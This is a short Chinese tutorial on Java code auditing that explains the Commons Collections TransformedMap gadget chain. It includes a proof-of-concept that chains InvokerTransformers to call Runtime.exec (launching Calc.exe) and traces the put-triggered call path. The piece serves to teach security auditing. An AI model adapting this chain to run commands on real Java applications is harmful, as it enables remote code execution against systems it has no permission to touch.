Java教程

Java代码审计——Commons Collections TransformedMap调用链

本文主要是介绍Java代码审计——Commons Collections TransformedMap调用链,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

0x00 前言

CC链最基础的就是迭代链:Java代码审计——Commons Collections 迭代调用链,核心就是 ChainedTransformer的Transformer方法。那么TransformedMap就是可以调用此方法的一条链。

0x01 TransformedMap调用链

在CC包中, 有TransformedMap这样一个类,他在进行put,checkSetValue等方法时,可以触发transform方法,如下图所示。
在这里插入图片描述

1. 先上poc:

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),
        new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, new Object[0] }),
        new InvokerTransformer("exec", new Class[] {String.class},new String[] {"Calc.exe"}),
};
Transformer transformerChain = new
        ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("zeo", "666");

可以看到这里我们手工触发,先使用decorate进行赋值,然后使用put进行触发。
跟一下put触发过程:

  • TransformedMap.put:
  • TransformedMap.transformValue
  • ChainedTransformer.transform
  • 迭代链
    • InvokerTransformertransform

    • 在这里插入图片描述

2.总结

TransformedMap链实际上就类似于一个加强形的一个map

0x03 使用条件

  • 除最新版本无限制
这篇关于Java代码审计——Commons Collections TransformedMap调用链的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!